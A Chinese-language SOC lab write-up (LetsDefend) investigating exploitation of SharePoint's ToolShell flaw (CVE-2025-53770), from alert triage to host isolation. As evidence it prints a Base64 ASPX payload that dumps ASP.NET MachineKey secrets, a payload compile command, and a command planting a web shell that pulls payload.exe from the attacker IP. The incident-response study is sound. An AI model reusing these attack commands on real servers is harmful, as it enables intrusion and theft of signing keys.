CVE-2025-53770 (ToolShell) SharePoint 零日漏洞利用的详细攻略,包括远程代码执行(RCE)分析、MachineKey 泄露、有效载荷编译、Web Shell 部署以及应急响应遏制步骤。
我在 LetsDefend 实验室中研究了一个名为 ToolShell (CVE-2025-53770) 的 SharePoint 零日漏洞。我模拟了一场真实的零日攻击,其中恶意 POST 请求绕过身份验证,运行 PowerShell 窃取 MachineKeySection 密钥,编译 payload.exe,并植入了一个 Web 后门 (spinstall0.aspx)。我记录了所有操作,分析了行为,并隔离了主机。本 README 涵盖了攻击过程、遏制攻击的步骤以及经验教训。
这是一个严重告警和可疑活动,目标为 MS SharePoint 的 ToolPane.aspx,带有大量载荷和伪造的 Referer。CVE 上下文链接到 CVE-2025-53770。这是一个通过特制 POST 请求实现的严重 SharePoint 漏洞,允许未经身份验证的攻击者。成功利用会导致服务器上的远程代码执行 (RCE)。我将此视为活跃、高紧急性的威胁,在证明并非如此之前,假定可能已经成功入侵。
Microsoft SharePoint 是一个面向企业协作和文档管理的平台——本质上是一个用于文件、工作流和内部 Web 应用程序的安全、有序中心。
文档管理:版本控制、审计轨迹和文件权限
协作:多个用户可以共同编辑和共享文档
内联网/门户:内部新闻、人力资源政策、仪表盘
工作流与自动化:表单、审批和通知
集成:与 Teams、Outlook、Office 应用和 Power BI 连接
使用 Active Directory 或 SSO 进行身份验证
数据在静态和传输中加密
Web 部件和布局如果配置不当可能被滥用
定期修补对于防御零日漏洞至关重要
Microsoft SharePoint Server 中的一个严重零日漏洞,允许攻击者在无需身份验证的情况下远程执行代码。它滥用了不安全的反序列化,并经常与其它 SharePoint 漏洞(CVE-2025-49704, CVE-2025-49706)链式攻击以完全控制系统。CVSS 评分为 9.8(严重),并在野外被积极利用。
我使用 VirusTotal 分析了发送者的 IP 地址(源 IP 地址)
源 IP 地址:107.191.58.76

由此我可以看到 15/95 安全供应商将此 IP 标记为恶意,这已经说明了很多关于该 IP 的问题。
现在我必须搜索该 IP 的位置。这是借助 AbuseIPDB 完成的,如下所示,该 IP 以黑客攻击、暴力破解、Web 应用攻击、端口扫描、DNS 投毒而闻名。
作为解决此问题的 SOC 分析师,关键步骤之一是进行端点分析。我在端点安全中搜索了名为 "SharePoint01" 的主机,由于该 IP 以黑客攻击闻名,我对其进行了进一步分析。
定位主机后,我查看了终端历史记录以检查命令行
PCVAIEltcG9ydCBOYW1lc3BhY2U9IlN5c3RlbS5EaWFnbm9zdGljcyIgJT4NCjwlQCBJbXBvcnQgTmFtZXNwYWNlPSJTeXN0ZW0uSU8iICU+DQo8c2NyaXB0IHJ1bmF0PSJzZXJ2ZXIiIGxhbmd1YWdlPSJjIyIgQ09ERVBBR0U9IjY1MDAxIj4NCiAgICBwdWJsaWMgdm9pZCBQYWdlX2xvYWQoKQ0KICAgIHsNCgkJdmFyIHN5ID0gU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1ibHkuTG9hZCgiU3lzdGVtLldlYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWIwM2Y1ZjdmMTFkNTBhM2EiKTsNCiAgICAgICAgdmFyIG1rdCA9IHN5LkdldFR5cGUoIlN5c3RlbS5XZWIuQ29uZmlndXJhdGlvbi5NYWNoaW5lS2V5U2VjdGlvbiIpOw0KICAgICAgICB2YXIgZ2FjID0gbWt0LkdldE1ldGhvZCgiR2V0QXBwbGljYXRpb25Db25maWciLCBTeXN0ZW0uUmVmbGVjdGlvbi5CaW5kaW5nRmxhZ3MuU3RhdGljIHwgU3lzdGVtLlJlZmxlY3Rpb24uQmluZGluZ0ZsYWdzLk5vblB1YmxpYyk7DQogICAgICAgIHZhciBjZyA9IChTeXN0ZW0uV2ViLkNvbmZpZ3VyYXRpb24uTWFjaGluZUtleVNlY3Rpb24pZ2FjLkludm9rZShudWxsLCBuZXcgb2JqZWN0WzBdKTsNCiAgICAgICAgUmVzcG9uc2UuV3JpdGUoY2cuVmFsaWRhdGlvbktleSsifCIrY2cuVmFsaWRhdGlvbisifCIrY2cuRGVjcnlwdGlvbktleSsifCIrY2cuRGVjcnlwdGlvbisifCIrY2cuQ29tcGF0aWJpbGl0eU1vZGUpOw0KICAgIH0NCjwvc2NyaXB0Pg==
由于载荷原因,我继续使用 Base64 解码器解码命令,如下所示
用户从系统目录“C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe”启动了 PowerShell,并带有编码命令,即 ASP.NET 服务器端 C# 脚本。
该载荷尝试读取并泄露主机的 ASP.NET MachineKey——这是一个可用于伪造 ViewState/反序列化令牌并实现身份验证绕过和远程代码执行的秘密。这与 ToolShell 利用模式(MachineKey 滥用)相符。 命令中的关键入侵指标 (IoC) 通过 Base64 解码和编码进行分析。
攻击者试图访问私有配置并旨在利用,因此滥用了 .NET。从 Base64 解码器我们可以看到 System.Web.Configuration.MachineKeySection 和 GetApplicationConfig:MachineKeySection 包含:
这些密钥是用于保护视图状态和表单身份验证的秘密。检索它们是直接尝试获取用于伪造/验证序列化 ASP.NET 载荷的材料 → 基于反序列化的 RCE 的直接先决条件。
仅在三秒后,如上所示,攻击者发送了另一个命令
"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /out:C:\Windows\Temp\payload.exe C:\Windows\Temp\payload.cs.
仅在两秒后,如上所示,攻击者发送了另一个命令
"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /out:C:\Windows\Temp\payload.exe C:\Windows\Temp\payload.cs."C:\Windows\System32\cmd.exe" /c echo <form runat="server"> <object classid="clsid:ADB880A6-D8FF-11CF-9377-00AA003B7A11"><param name="Command" value="Redirect"> <param name="Button" value="Test"> <param name="Url" value="http://107.191.58.76/payload.exe\"> > C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\16\TEMPLATE\LAYOUTS\spinstall0.aspx.
仅在三秒后,如上所示,攻击者发送了另一个命令
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command"[System.Web.Configuration.MachineKeySection]::GetApplicationConfig()"
这些活动显示出一致的模式,我将视为高置信度、已入侵状态,并立即收集取证工件。
收集所有命令和发现后,我进一步研究了威胁情报,并按数据类型 IP 进行了搜索。数据源显示 OnlyHunt 和标签 CVE-2025-53770,以及 Referer: /_layouts/SignOut.aspx,表明告警调查通道显示它是一个被伪造或使用的合法 SharePoint,随后从 SharePoint 注销,使其看起来像是源自正常的 SharePoint 操作。此时,我隔离了该主机。